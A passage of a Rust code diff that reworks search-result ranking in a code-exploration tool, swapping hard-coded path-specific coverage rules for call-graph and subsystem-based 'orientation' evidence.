.unwrap_or(0); - (hit, coverage, coverage_score) - }) - .collect::>(); - - rejected.sort_by( - |(left, left_coverage, left_score), (right, right_coverage, right_score)| { - right_score - .cmp(left_score) - .then_with(|| right_coverage.is_some().cmp(&left_coverage.is_some())) - .then_with(|| { - (right.origin == SearchHitOrigin::TextMatch) - .cmp(&(left.origin == SearchHitOrigin::TextMatch)) - }) - }, - ); - - rejected - .into_iter() .take(8) - .map(|(hit, coverage, _)| SearchPlanRejectedHitDto { + .map(|hit| SearchPlanRejectedHitDto { display_name: hit.display_name.clone(), - reason: search_plan_rejected_hit_reason(hit, coverage.as_ref()), + reason: search_plan_rejected_hit_reason(hit, evidence, selected_subsystems), origin: hit.origin, file_path: hit.file_path.clone(), line: hit.line, @@ -984,20 +1011,23 @@ pub(super) fn search_plan_rejected_hits( pub(super) fn search_plan_rejected_hit_reason( hit: &SearchHit, - coverage: Option<&ArchitectureCoverage>, + evidence: Option<&OrientationEvidence>, + selected_subsystems: &HashSet, ) -> String { let source = match hit.origin { SearchHitOrigin::IndexedSymbol => "indexed_symbol", SearchHitOrigin::TextMatch => "repo_text", }; - if let Some(coverage) = coverage { - format!( - "not selected after anchor grouping and final coverage ranking; source={source}; coverage_key={}; coverage_score={}", - coverage.key, coverage.score - ) - } else { - format!("not selected after anchor grouping and evidence ranking; source={source}") - } + let hit_evidence = evidence.and_then(|evidence| evidence.get(&hit.node_id)); + let entry = hit_evidence.map_or("none", |evidence| evidence.entry.label()); + let production_callers = hit_evidence.map_or(0, |evidence| { + degree_tier(evidence.degrees.production_in_calls).0 + }); + let subsystem_represented = + hit_evidence.is_some_and(|evidence| selected_subsystems.contains(&evidence.subsystem)); + format!( + "not selected after anchor grouping and root ranking; source={source}; entry={entry}; production_callers={production_callers}; subsystem_represented={subsystem_represented}" + ) } pub(super) fn search_plan_bridge_request(from: &NodeId, to: &NodeId) -> TrailConfigDto { @@ -1032,23 +1062,23 @@ pub(super) fn graph_response_has_bridge( } pub(super) fn graph_bridge_evidence_kind(graph: &GraphResponse) -> SearchPlanBridgeEvidenceKindDto { + // Structured canonical ids written by a sanctioned structural collector are + // repository-derived evidence. The display-label substring checks that used + // to sit beside them were reading rendered text, which is both fragile and + // a place for a collector's name to hide in ranking code. if graph.edges.iter().any(|edge| { - edge.callsite_identity - .as_deref() - .is_some_and(|identity| identity.starts_with("payload:")) - }) || graph - .nodes - .iter() - .any(|node| node.label.contains("payload collection ")) - { + edge.callsite_identity.as_deref().is_some_and(|identity| { + STRUCTURAL_COLLECTION_CANONICAL_ID_PREFIXES + .iter() + .any(|prefix| identity.starts_with(prefix)) + }) + }) { return SearchPlanBridgeEvidenceKindDto::DataCollectionUsage; } if graph.nodes.iter().any(|node| { - node.label.contains(" route; confidence=") - || node - .qualified_name - .as_deref() - .is_some_and(|name| name.starts_with("framework::")) + node.qualified_name + .as_deref() + .is_some_and(|name| name.starts_with("framework::")) }) { return SearchPlanBridgeEvidenceKindDto::FrameworkRoute; } @@ -1183,6 +1213,7 @@ impl AppController { &subquery.query, left, right, + None, ) }); suggestions.sort_by(|left, right| { @@ -1191,6 +1222,7 @@ impl AppController { &subquery.query, left, right, + None, ) }); dedupe_inexact_search_hits_by_display_key(&subquery.query, &mut hits); @@ -1247,6 +1279,77 @@ impl AppController { Ok(evidence) } + /// Build the orientation-regime evidence map once per request. + /// + /// Bounded to `SEARCH_ORIENTATION_WINDOW` deduped hits, and the resulting + /// map is shared by anchor grouping, the final root ordering, the rejected + /// hit reasons, and the reported orientation, so no stage repeats the edge + /// walk or the file lookup. + fn build_orientation_evidence( + &self, + storage: &Storage, + project_root: Option<&Path>, + hits: &[SearchHit], + ) -> OrientationEvidence { + let mut evidence = OrientationEvidence::default(); + let mut file_facts = HashMap::, String)>::new(); + for hit in hits.iter().take(SEARCH_ORIENTATION_WINDOW) { + let path = hit.file_path.as_deref(); + let (role, language) = match path { + Some(path) => file_facts + .entry(path.to_string()) + .or_insert_with(|| { + // Prefer the role the indexer verified; fall back to the + // free path classifier when the file is not in the store. + match storage.get_file_by_path(Path::new(path)) { + Ok(Some(file)) => (Some(file.file_role), file.language), + _ => ( + Some(store_file_role_from_retrieval_role( + retrieval_file_role_from_path(path), + )), + String::new(), + ), + } + }) + .clone(), + None => (None, String::new()), + }; + let relative = match (project_root, path) { + (Some(root), Some(path)) => { + Some(crate::grounding::relative_path(root, Path::new(path))) + } + (None, Some(path)) => Some(path.replace('\\', "/")), + _ => None, + }; + let degrees = self + .search_plan_active_path_evidence_for_hit(storage, hit) + .map(SearchPlanActivePathEvidence::degrees) + .unwrap_or_default(); + let language = if language.trim().is_empty() { + "unknown".to_string() + } else { + language + }; + evidence.insert( + hit.node_id.clone(), + OrientationHitEvidence { + entry: entry_evidence( + matches!(hit.kind, NodeKind::FUNCTION | NodeKind::METHOD), + role, + false, + &terminal_symbol_segment(&hit.display_name), + degrees, + ), + helper_like: helper_like_name_or_path(&hit.display_name, relative.as_deref()), + degrees, + structural_rank: structural_path_rank(role, relative.as_deref()), + subsystem: subsystem_key_for_path(&language, relative.as_deref()), + }, + ); + } + evidence + } + fn search_plan_active_path_evidence<'a, I>( &self, storage: &Storage, @@ -1278,6 +1381,9 @@ impl AppController { let node_id = hit.node_id.to_core().ok()?; let edges = storage.get_edges_for_node_id(node_id).ok()?; let mut callers = HashSet::new(); + let mut callees = HashSet::new(); + // One pass produces both directions so the orientation comparator and + // the anchor-group score share a single edge walk per hit. for edge in edges { if edge.kind != codestory_contracts::graph::EdgeKind::CALL { continue; @@ -1286,17 +1392,21 @@ impl AppController { continue; } let (source, target) = edge.effective_endpoints(); - if target != node_id || source == node_id { + if source == target { continue; } - if search_plan_caller_is_test_or_bench(storage, source) { - continue; + if target == node_id { + if !search_plan_caller_is_test_or_bench(storage, source) { + callers.insert(source); + } + } else if source == node_id { + callees.insert(target); } - callers.insert(source); } Some(SearchPlanActivePathEvidence { caller_count: callers.len().min(u32::MAX as usize) as u32, + out_call_count: callees.len().min(u32::MAX as usize) as u32, }) } @@ -1317,22 +1427,19 @@ impl AppController { allow_repo_text: bool, hybrid_weights: Option, hybrid_limits: Option, + orientation: Option<&OrientationEvidence>, ) -> Result, ApiError> { - let intents = architecture_query_intents(effective_query) - .into_iter() - .map(|intent| intent.label().to_string()) - .collect::>(); - let eligible = search_plan_eligible( - effective_query, - query_assessment.exact_symbol_hit_count, - &intents, - ); + let eligible = + search_plan_eligible(effective_query, query_assessment.exact_symbol_hit_count); if !eligible { return Ok(None); } + // The DTO field keeps its shape; only the value vocabulary changes, from + // ten holdout-tracking labels to the one regime that exists. + let intents = vec![SEARCH_PLAN_ORIENTATION_INTENT.to_string()]; let terms = search_plan_terms(effective_query); let subqueries = search_plan_subqueries_for_repo_text_mode( - search_plan_subqueries(effective_query, &terms, &intents), + search_plan_subqueries(effective_query, &terms), allow_repo_text, ); let mut executed = self.execute_search_plan_subqueries( @@ -1362,7 +1469,14 @@ impl AppController { &plan_repo_text_hits, &plan_suggestions, &active_path_evidence, + orientation, ); + let selected_subsystems = anchor_groups + .iter() + .filter_map(|group| group.chosen_symbol.as_ref()) + .filter_map(|hit| orientation.and_then(|evidence| evidence.get(&hit.node_id))) + .map(|evidence| evidence.subsystem.clone()) + .collect::>(); let mut bridges = self.search_plan_bridges(&anchor_groups); let original_bridge_count = bridges.len(); bridges.retain(|bridge| !is_low_confidence_search_plan_bridge(bridge)); @@ -1402,6 +1516,8 @@ impl AppController { &plan_suggestions, &plan_indexed_hits, &plan_repo_text_hits, + orientation, + &selected_subsystems, ), next_actions, source_truth_checks, @@ -1614,7 +1730,13 @@ impl AppController { apply_search_intent_filters(&mut indexed_symbol_hits, &intent_query.filters); let project_root = self.require_project_root().ok(); indexed_symbol_hits.sort_by(|left, right| { - compare_search_hits_with_project_root(project_root.as_deref(), &query, left, right) + compare_search_hits_with_project_root( + project_root.as_deref(), + &query, + left, + right, + None, + ) }); dedupe_inexact_search_hits_by_display_key(&query, &mut indexed_symbol_hits); indexed_symbol_hits.truncate(limit_per_source); @@ -1623,7 +1745,7 @@ impl AppController { let storage = self.open_storage_read_only()?; let retrieval = retrieval_state_from_storage_for_runtime(&storage, &self.runtime_config)?; let freshness = self.index_freshness().ok(); - let mut repo_text_hits = Vec::new(); + let repo_text_hits = Vec::new(); let mut suggestions = Vec::new(); let query_assessment = search_query_assessment( &query, @@ -1632,11 +1754,18 @@ impl AppController { repo_text_mode, false, None, + None, ); let indexed_hit_ids = indexed_symbol_hits .iter() .map(|hit| hit.node_id.clone()) .collect::>(); + // Build the shared orientation evidence once, inside the pinned + // publication, and only for queries that actually ask about structure. + let orientation_evidence = orientation_query(&query).then(|| { + self.build_orientation_evidence(&storage, project_root.as_deref(), &indexed_symbol_hits) + }); + let orientation = orientation_evidence.as_ref(); let mut search_plan_anchor_rank = HashMap::::new(); let search_plan = if expand_search_plan { match self.build_search_plan( @@ -1654,6 +1783,7 @@ impl AppController { false, hybrid_weights, hybrid_limits, + orientation, )? { Some(plan_build) => { for (rank, group) in plan_build.plan.anchor_groups.iter().enumerate() { @@ -1689,19 +1819,40 @@ impl AppController { (None, None) => std::cmp::Ordering::Equal, }; anchor_order.then_with(|| { - compare_search_hits_with_project_root(project_root.as_deref(), &query, left, right) + compare_search_hits_with_project_root( + project_root.as_deref(), + &query, + left, + right, + orientation, + ) }) }); dedupe_inexact_search_hits_by_display_key(&query, &mut indexed_symbol_hits); - let indexed_symbol_candidates = indexed_symbol_hits.clone(); - apply_architecture_cross_source_coverage( - &query, - &mut indexed_symbol_hits, - &mut repo_text_hits, - &indexed_symbol_candidates, - &[], - limit_per_source, - ); + let total_root_candidates = indexed_symbol_hits.len(); + if let Some(orientation) = orientation { + // Diversify the whole list and let the limit truncate it, so results + // at a smaller limit stay an exact prefix of a larger one. Exact + // matches are pinned: breadth never displaces what the caller named. + indexed_symbol_hits = root_rank::diversify_root_order( + indexed_symbol_hits, + |hit| { + matches!( + search_hit_match_quality(&query, hit), + SearchMatchQualityDto::Exact | SearchMatchQualityDto::NormalizedExact + ) + }, + |hit| { + let evidence = orientation.get(&hit.node_id); + ( + evidence + .map(|evidence| evidence.subsystem.clone()) + .unwrap_or_default(), + terminal_symbol_segment(&hit.display_name), + ) + }, + ); + } indexed_symbol_hits.truncate(limit_per_source); annotate_search_hit_match_quality(&query, &mut indexed_symbol_hits); crate::search_evidence::attach_pinned_search_evidence( @@ -1715,6 +1866,17 @@ impl AppController { &mut suggestions, ); let hits = indexed_symbol_hits.clone(); + let query_assessment = search_query_assessment( + &query, + &hits, + &repo_text_hits, + repo_text_mode, + false, + None, + orientation.map(|orientation| { + search_orientation_report(orientation, total_root_candidates, &hits) + }), + ); let retrieval_shadow = Some( agent::retrieval_primary::shadow_from_query_result_with_candidate_admission_diagnostics( self, diff --git a/crates/codestory-runtime/src/search_scoring.rs b/crates/codestory-runtime/src/search_scoring.rs index 07b8d9bcf..04e804a64 100644 --- a/crates/codestory-runtime/src/search_scoring.rs +++ b/crates/codestory-runtime/src/search_scoring.rs @@ -1,9 +1,9 @@ use super::{ AgentHybridWeightsDto, ApiError, AppController, ExpandedSymbolMatches, HashMap, HashSet, NodeId, NodeKind, RetrievalStateDto, SearchHit, SearchPlanSubqueryDto, SearchRequest, Storage, - aggregate_symbol_matches, architecture_query_intents, decorate_search_hit_evidence, - extract_symbol_search_terms, node_display_name, preferred_occurrence, - retrieval_file_role_from_path, route_endpoint_adjusted_search_score, symbol_name_match_rank, + aggregate_symbol_matches, decorate_search_hit_evidence, extract_symbol_search_terms, + node_display_name, preferred_occurrence, route_endpoint_adjusted_search_score, + symbol_name_match_rank, }; #[cfg(test)] use super::{ @@ -21,9 +21,6 @@ use crate::search_publication::{ #[cfg(test)] use crate::search_state::reload_llm_docs_from_storage; #[cfg(test)] -use crate::search_terms::search_plan_terms; -use crate::search_terms::split_camel_identifier; -#[cfg(test)] use crate::semantic_projection::LLM_DOC_RELOAD_BATCH_SIZE; #[derive(Debug, Clone)] @@ -258,740 +255,14 @@ pub(super) fn merge_search_hits_by_node_id(hits: &mut Vec, additional } pub(super) fn search_plan_subquery_candidate_limit( - subquery: &SearchPlanSubqueryDto, + _subquery: &SearchPlanSubqueryDto, limit: usize, ) -> usize { - if subquery.role == "original_question" - && architecture_query_intents(&subquery.query).is_empty() - { - limit - } else { - limit.saturating_mul(5).clamp(limit, 50) - } -} - -#[cfg(test)] -pub(super) fn truncate_repo_text_hits_for_query( - query: &str, - hits: &mut Vec, - limit: usize, -) { - if limit == 0 { - hits.clear(); - return; - } - if hits.len() <= limit { - return; - } - if architecture_query_intents(query).is_empty() { - hits.truncate(limit); - return; - } - diversify_architecture_repo_text_hits(query, hits, limit); -} - -#[cfg(test)] -pub(super) fn diversify_architecture_repo_text_hits( - query: &str, - hits: &mut Vec, - limit: usize, -) { - let query_terms = search_plan_terms(query) - .extracted - .into_iter() - .map(|term| term.to_ascii_lowercase()) - .collect::>(); - let mut selected = hits - .iter() - .take(limit) - .cloned() - .enumerate() - .collect::>(); - - for (candidate_rank, candidate) in hits.iter().enumerate().skip(limit) { - let candidate_score = architecture_repo_text_surface_score(&query_terms, candidate); - if candidate_score == 0 { - continue; - } - let Some(candidate_key) = architecture_repo_text_surface_key(candidate) else { - continue; - }; - if selected.iter().any(|(_, hit)| { - architecture_repo_text_surface_key(hit).as_ref() == Some(&candidate_key) - }) { - continue; - } - let Some(replace_index) = - architecture_repo_text_replacement_index(&query_terms, &selected, candidate_score) - else { - continue; - }; - selected[replace_index] = (candidate_rank, candidate.clone()); - } - - selected.sort_by_key(|(rank, _)| *rank); - *hits = selected.into_iter().map(|(_, hit)| hit).collect(); -} - -#[cfg(test)] -pub(super) fn architecture_repo_text_replacement_index( - query_terms: &HashSet, - selected: &[(usize, SearchHit)], - candidate_score: u32, -) -> Option { - let mut bucket_counts = HashMap::::new(); - for (_, hit) in selected { - if let Some(bucket) = architecture_repo_text_bucket_key(hit) { - *bucket_counts.entry(bucket).or_default() += 1; - } - } - - selected - .iter() - .enumerate() - .filter_map(|(index, (rank, hit))| { - let bucket = architecture_repo_text_bucket_key(hit)?; - if bucket_counts.get(&bucket).copied().unwrap_or_default() <= 1 { - return None; - } - let score = architecture_repo_text_surface_score(query_terms, hit); - let strong_distinct_surface = candidate_score >= 3 && score <= candidate_score + 1; - (candidate_score >= score || strong_distinct_surface).then_some((index, score, *rank)) - }) - .min_by_key(|(_, score, rank)| (*score, std::cmp::Reverse(*rank))) - .map(|(index, _, _)| index) -} - -#[cfg(test)] -pub(super) fn architecture_repo_text_surface_score( - query_terms: &HashSet, - hit: &SearchHit, -) -> u32 { - let Some(path) = hit.file_path.as_deref() else { - return 0; - }; - if retrieval_file_role_from_path(path).is_non_primary() { - return 0; - } - architecture_repo_text_surface_terms(path) - .into_iter() - .filter(|term| query_terms.contains(*term)) - .count() - .min(u32::MAX as usize) as u32 -} - -#[cfg(test)] -pub(super) fn architecture_repo_text_surface_terms(path: &str) -> Vec<&'static str> { - let normalized = path.replace('\\', "/").to_ascii_lowercase(); - let path_terms = architecture_coverage_terms(path, ""); - let mut terms = Vec::new(); - if normalized.contains("sourcegroup") - || normalized.contains("source_group") - || normalized.contains("source-group") - || architecture_has_all_terms(&path_terms, &["source", "group"]) - { - terms.extend(["source", "group", "source-group", "configuration"]); - } - if architecture_has_all_terms(&path_terms, &["source", "group"]) - && architecture_has_any_term(&path_terms, &["cxx", "cdb", "compile", "database"]) - { - terms.extend(["source", "group", "source-group", "cxx", "cdb", "indexing"]); - } - if normalized.contains("lib_cxx") || normalized.contains("/cxx/") { - terms.extend(["cxx", "indexing", "indexer"]); - } - if normalized.contains("lib_java") || normalized.contains("/java/") { - terms.extend(["java", "indexing", "indexer"]); - } - if normalized.contains("/data/indexer/") || normalized.contains("indexercommand") { - terms.extend(["data", "indexer", "indexing", "command", "work"]); - } - if normalized.contains("/data/storage/") - || architecture_has_all_terms(&path_terms, &["storage", "access"]) - || architecture_has_all_terms(&path_terms, &["persistent", "storage"]) - { - terms.extend(["data", "storage", "access", "persistence"]); - } - if normalized.contains("/project/") { - terms.extend(["project", "source", "group", "configuration"]); - } - if normalized.contains("codestory-cli") { - terms.extend(["cli", "command", "entrypoint"]); - } - if normalized.contains("codestory-workspace") { - terms.extend(["workspace", "file", "discovery", "source"]); - } - if normalized.contains("codestory-indexer") { - terms.extend(["indexer", "indexing", "symbol", "extraction", "extract"]); - } - if normalized.contains("codestory-store") { - terms.extend(["store", "storage", "persistence", "persist"]); - } - if normalized.contains("snapshot") { - terms.extend(["snapshot", "refresh"]); - } - if normalized.contains("storage_impl") || normalized.contains("/storage_impl/") { - terms.extend(["storage", "persistence", "projection", "sqlite"]); - } - if normalized.contains("/collections/") { - terms.extend(["payload", "collection", "collections"]); - if architecture_has_any_term(&path_terms, &["post", "posts"]) { - terms.extend(["posts", "post", "writing"]); - } - if architecture_has_any_term(&path_terms, &["comment", "comments"]) { - terms.extend(["comments", "comment"]); - } - if architecture_has_all_terms(&path_terms, &["social", "entries"]) { - terms.extend(["social", "elsewhere", "feed"]); - } - } - if normalized.ends_with("/lib/payload.ts") { - terms.extend(["payload", "client"]); - } - if normalized.contains("/lib/content-data/") { - terms.extend(["content"]); - if normalized.ends_with("/post-content.ts") { - terms.extend(["posts", "post", "writing"]); - } - if normalized.ends_with("/comment-content.ts") { - terms.extend(["comments", "comment"]); - } - if normalized.ends_with("/social-entry-content.ts") { - terms.extend(["social", "elsewhere", "feed"]); - } - } - if normalized.ends_with("/app/feed.xml/route.ts") { - terms.extend(["feed", "rss"]); - } - if normalized.ends_with("/posts/[slug]/comments/route.ts") { - terms.extend(["posts", "comments", "comment", "submission"]); - } - if normalized.contains("codestory-runtime") { - if normalized.ends_with("/lib.rs") { - terms.extend(["runtime", "orchestration", "indexing"]); - } - if normalized.contains("/services.rs") { - terms.extend(["runtime", "service", "orchestration", "indexing"]); - } - if normalized.contains("/search") || normalized.contains("search_runtime") { - terms.extend(["search"]); - } - if normalized.contains("symbol_query") { - terms.extend(["symbol", "search"]); - } - if normalized.contains("/agent/") || normalized.contains("orchestrator") { - terms.extend(["orchestration"]); - } - if normalized.contains("graph") { - terms.extend(["graph"]); - } - } - terms -} - -#[cfg(test)] -pub(super) fn architecture_repo_text_surface_key(hit: &SearchHit) -> Option { - architecture_repo_text_path_key(hit, true) -} - -#[cfg(test)] -pub(super) fn architecture_repo_text_bucket_key(hit: &SearchHit) -> Option { - architecture_repo_text_path_key(hit, false) -} - -#[cfg(test)] -pub(super) fn architecture_repo_text_path_key( - hit: &SearchHit, - include_surface: bool, -) -> Option { - let path = normalize_repo_text_path(hit.file_path.as_deref()?); - let parts = path.split('/').collect::>(); - if let Some(crate_index) = parts.iter().position(|part| *part == "crates") { - let crate_name = parts.get(crate_index + 1)?; - if !include_surface { - return Some(format!("crates/{crate_name}")); - } - let surface = parts - .iter() - .skip(crate_index + 2) - .position(|part| *part == "src") - .and_then(|src_offset| parts.get(crate_index + 3 + src_offset)) - .map(|part| part.trim_end_matches(".rs")) - .unwrap_or("root"); - return Some(format!("crates/{crate_name}/{surface}")); - } - let src_index = parts.iter().position(|part| *part == "src")?; - let root = parts.get(src_index + 1)?; - let domain = parts.get(src_index + 2).copied().unwrap_or("root"); - if !include_surface { - return Some(format!("src/{root}/{domain}")); - } - let stem = parts - .last() - .map(|part| part.rsplit_once('.').map(|(stem, _)| stem).unwrap_or(part)) - .unwrap_or("root"); - Some(format!("src/{root}/{domain}/{stem}")) -} - -#[derive(Debug, Clone, PartialEq, Eq)] -pub(super) struct ArchitectureCoverage { - pub(super) key: String, - pub(super) score: u32, -} - -#[derive(Debug, Clone, Copy, PartialEq, Eq)] -pub(super) enum ArchitectureCoverageLane { - Indexed, - RepoText, -} - -#[derive(Debug, Clone)] -pub(super) struct ArchitectureCoverageCandidate { - lane: ArchitectureCoverageLane, - source_rank: usize, - hit: SearchHit, - coverage: ArchitectureCoverage, -} - -pub(super) fn apply_architecture_cross_source_coverage( - query: &str, - indexed_symbol_hits: &mut Vec, - repo_text_hits: &mut Vec, - indexed_candidates: &[SearchHit], - repo_text_candidates: &[SearchHit], - limit: usize, -) { - if limit == 0 || architecture_query_intents(query).is_empty() { - return; - } - indexed_symbol_hits.truncate(limit); - repo_text_hits.truncate(limit); - - let mut selected_ids = indexed_symbol_hits - .iter() - .chain(repo_text_hits.iter()) - .map(|hit| hit.node_id.clone()) - .collect::>(); - let mut selected_paths = indexed_symbol_hits - .iter() - .chain(repo_text_hits.iter()) - .filter_map(|hit| hit.file_path.as_deref()) - .map(normalize_repo_text_path) - .collect::>(); - let mut selected_keys = - architecture_selected_coverage_keys(indexed_symbol_hits, repo_text_hits); - - let mut candidates = indexed_candidates - .iter() - .enumerate() - .skip(limit) - .filter_map(|(rank, hit)| { - architecture_coverage_candidate( - ArchitectureCoverageLane::Indexed, - rank, - hit, - &selected_ids, - &selected_paths, - &selected_keys, - ) - }) - .chain( - repo_text_candidates - .iter() - .enumerate() - .skip(limit) - .filter_map(|(rank, hit)| { - architecture_coverage_candidate( - ArchitectureCoverageLane::RepoText, - rank, - hit, - &selected_ids, - &selected_paths, - &selected_keys, - ) - }), - ) - .collect::>(); - - candidates.sort_by(|left, right| { - right - .coverage - .score - .cmp(&left.coverage.score) - .then_with(|| left.source_rank.cmp(&right.source_rank)) - .then_with(|| left.coverage.key.cmp(&right.coverage.key)) - }); - - let mut replacement_count = 0usize; - let replacement_limit = limit.min(8); - for candidate in candidates { - if selected_keys.contains(&candidate.coverage.key) - || selected_ids.contains(&candidate.hit.node_id) - || candidate - .hit - .file_path - .as_deref() - .map(normalize_repo_text_path) - .is_some_and(|path| selected_paths.contains(&path)) - { - continue; - } - let Some(replace_index) = architecture_coverage_replacement_index( - indexed_symbol_hits, - repo_text_hits, - candidate.lane, - candidate.coverage.score, - ) else { - continue; - }; - - match candidate.lane { - ArchitectureCoverageLane::Indexed => { - selected_ids.remove(&indexed_symbol_hits[replace_index].node_id); - if let Some(path) = indexed_symbol_hits[replace_index].file_path.as_deref() { - selected_paths.remove(&normalize_repo_text_path(path)); - } - indexed_symbol_hits[replace_index] = candidate.hit.clone(); - } - ArchitectureCoverageLane::RepoText => { - selected_ids.remove(&repo_text_hits[replace_index].node_id); - if let Some(path) = repo_text_hits[replace_index].file_path.as_deref() { - selected_paths.remove(&normalize_repo_text_path(path)); - } - repo_text_hits[replace_index] = candidate.hit.clone(); - } - } - selected_ids.insert(candidate.hit.node_id.clone()); - if let Some(path) = candidate.hit.file_path.as_deref() { - selected_paths.insert(normalize_repo_text_path(path)); - } - selected_keys.insert(candidate.coverage.key); - replacement_count += 1; - if replacement_count >= replacement_limit { - break; - } - } -} - -pub(super) fn architecture_coverage_candidate( - lane: ArchitectureCoverageLane, - source_rank: usize, - hit: &SearchHit, - selected_ids: &HashSet, - selected_paths: &HashSet, - selected_keys: &HashSet, -) -> Option { - if selected_ids.contains(&hit.node_id) { - return None; - } - if hit - .file_path - .as_deref() - .map(normalize_repo_text_path) - .is_some_and(|path| selected_paths.contains(&path)) - { - return None; - } - let coverage = architecture_coverage_for_hit(hit)?; - (!selected_keys.contains(&coverage.key)).then(|| ArchitectureCoverageCandidate { - lane, - source_rank, - hit: hit.clone(), - coverage, - }) -} - -pub(super) fn architecture_selected_coverage_keys( - indexed_symbol_hits: &[SearchHit], - repo_text_hits: &[SearchHit], -) -> HashSet { - indexed_symbol_hits - .iter() - .chain(repo_text_hits.iter()) - .filter_map(architecture_coverage_for_hit) - .map(|coverage| coverage.key) - .collect() -} - -pub(super) fn architecture_coverage_replacement_index( - indexed_symbol_hits: &[SearchHit], - repo_text_hits: &[SearchHit], - lane: ArchitectureCoverageLane, - candidate_score: u32, -) -> Option { - let key_counts = architecture_coverage_key_counts(indexed_symbol_hits, repo_text_hits); - let hits = match lane { - ArchitectureCoverageLane::Indexed => indexed_symbol_hits, - ArchitectureCoverageLane::RepoText => repo_text_hits, - }; - hits.iter() - .enumerate() - .filter_map(|(index, hit)| { - let coverage = architecture_coverage_for_hit(hit); - let score = coverage - .as_ref() - .map(|coverage| coverage.score) - .unwrap_or(0); - let protected = coverage.as_ref().is_some_and(|coverage| { - coverage.score >= 8 && key_counts.get(&coverage.key).copied().unwrap_or(0) <= 1 - }); - if protected || score > candidate_score { - return None; - } - Some((index, score)) - }) - .min_by_key(|(_, score)| *score) - .map(|(index, _)| index) -} - -pub(super) fn architecture_coverage_key_counts( - indexed_symbol_hits: &[SearchHit], - repo_text_hits: &[SearchHit], -) -> HashMap { - let mut counts = HashMap::new(); - for coverage in indexed_symbol_hits - .iter() - .chain(repo_text_hits.iter()) - .filter_map(architecture_coverage_for_hit) - { - *counts.entry(coverage.key).or_default() += 1; - } - counts -} - -pub(super) fn architecture_coverage_for_hit(hit: &SearchHit) -> Option { - let path = hit.file_path.as_deref()?; - if retrieval_file_role_from_path(path).is_non_primary() { - return None; - } - let normalized = normalize_repo_text_path(path); - let terms = architecture_coverage_terms(path, &hit.display_name); - let source_kind = architecture_source_kind(&normalized); - let coverage = if normalized.contains("/cli/src/main.rs") { - ArchitectureCoverage { - key: format!("cli:top_level_entrypoint:{source_kind}"), - score: 8, - } - } else if normalized.contains("/exec/src/main.rs") { - ArchitectureCoverage { - key: format!("exec:binary_entrypoint:{source_kind}"), - score: 9, - } - } else if normalized.contains("/exec/src/cli.rs") { - ArchitectureCoverage { - key: format!("exec:cli_options:{source_kind}"), - score: 10, - } - } else if normalized.contains("/exec/src/lib.rs") { - ArchitectureCoverage { - key: format!("exec:runtime:{source_kind}"), - score: 9, - } - } else if normalized.contains("/exec/src/") - && architecture_has_all_terms(&terms, &["exec", "events"]) - && architecture_path_stem(&normalized).contains("events") - { - ArchitectureCoverage { - key: format!("exec:events:{source_kind}"), - score: 9, - } - } else if normalized.contains("/exec/src/") - && architecture_has_all_terms(&terms, &["event", "processor", "jsonl", "output"]) - { - ArchitectureCoverage { - key: format!("exec:jsonl_event_processor:{source_kind}"), - score: 9, - } - } else if normalized.contains("/exec/src/") - && architecture_has_all_terms(&terms, &["event", "processor"]) - { - ArchitectureCoverage { - key: format!("exec:event_processor:{source_kind}"), - score: 8, - } - } else if architecture_has_all_terms(&terms, &["source", "group"]) - && architecture_has_any_term(&terms, &["config", "cdb", "compile", "database", "cxx"]) - { - ArchitectureCoverage { - key: format!("source_group:configuration:{source_kind}"), - score: 10, - } - } else if architecture_has_all_terms(&terms, &["indexer", "command", "cxx"]) { - ArchitectureCoverage { - key: format!("indexing:cxx_command:{source_kind}"), - score: 10, - } - } else if architecture_has_all_terms(&terms, &["indexer", "java"]) { - ArchitectureCoverage { - key: format!("indexing:java:{source_kind}"), - score: if source_kind == "impl" { 10 } else { 8 }, - } - } else if architecture_has_all_terms(&terms, &["storage", "access", "proxy"]) { - ArchitectureCoverage { - key: format!("storage:access_proxy:{source_kind}"), - score: if source_kind == "impl" { 10 } else { 8 }, - } - } else if architecture_has_all_terms(&terms, &["persistent", "storage"]) { - ArchitectureCoverage { - key: format!("storage:persistent:{source_kind}"), - score: 8, - } - } else if architecture_has_all_terms(&terms, &["storage", "access"]) { - ArchitectureCoverage { - key: format!("storage:access:{source_kind}"), - score: 9, - } - } else if normalized.ends_with("/project.cpp") - || architecture_has_all_terms(&terms, &["project", "build", "index"]) - { - ArchitectureCoverage { - key: format!("project:build_index:{source_kind}"), - score: 8, - } - } else if architecture_has_all_terms(&terms, &["indexer", "command"]) { - ArchitectureCoverage { - key: format!( - "indexing:{}:{source_kind}", - architecture_path_stem(&normalized) - ), - score: 4, - } - } else if normalized.contains("sourcegroup") && normalized.contains("/project/") { - ArchitectureCoverage { - key: format!( - "source_group:{}:{source_kind}", - architecture_path_stem(&normalized) - ), - score: 4, - } - } else if architecture_has_all_terms(&terms, &["payload", "config"]) - && normalized.ends_with(".ts") - { - ArchitectureCoverage { - key: format!("payload:config:{source_kind}"), - score: 9, - } - } else if normalized.contains("/collections/") - && architecture_has_any_term(&terms, &["post", "posts"]) - { - ArchitectureCoverage { - key: format!("payload:posts_collection:{source_kind}"), - score: 10, - } - } else if normalized.contains("/collections/") - && architecture_has_any_term(&terms, &["comment", "comments"]) - { - ArchitectureCoverage { - key: format!("payload:comments_collection:{source_kind}"), - score: 10, - } - } else if normalized.contains("/collections/") - && architecture_has_all_terms(&terms, &["social", "entries"]) - { - ArchitectureCoverage { - key: format!("payload:social_entries_collection:{source_kind}"), - score: 9, - } - } else if normalized.contains("/posts/") - && normalized.contains("/comments/") - && architecture_has_all_terms(&terms, &["comments", "route"]) - { - ArchitectureCoverage { - key: format!("comments:submission_route:{source_kind}"), - score: 10, - } - } else if architecture_has_all_terms(&terms, &["feed", "route"]) { - ArchitectureCoverage { - key: format!("feed:rss_route:{source_kind}"), - score: 10, - } - } else if normalized.contains("/lib/") - && architecture_has_all_terms(&terms, &["payload"]) - && architecture_has_any_term(&terms, &["client", "lib"]) - { - ArchitectureCoverage { - key: format!("payload:client:{source_kind}"), - score: 10, - } - } else if normalized.contains("/content-data/") - && architecture_has_all_terms(&terms, &["post", "content"]) - { - ArchitectureCoverage { - key: format!("content:post_data:{source_kind}"), - score: 10, - } - } else if normalized.contains("/content-data/") - && architecture_has_all_terms(&terms, &["comment", "content"]) - { - ArchitectureCoverage { - key: format!("content:comment_data:{source_kind}"), - score: 10, - } - } else if normalized.contains("/content-data/") - && architecture_has_all_terms(&terms, &["social", "content"]) - { - ArchitectureCoverage { - key: format!("content:social_data:{source_kind}"), - score: 9, - } - } else { - return None; - }; - Some(coverage) -} - -pub(super) fn architecture_coverage_terms(path: &str, display_name: &str) -> HashSet { - let mut terms = HashSet::new(); - for raw in [path, 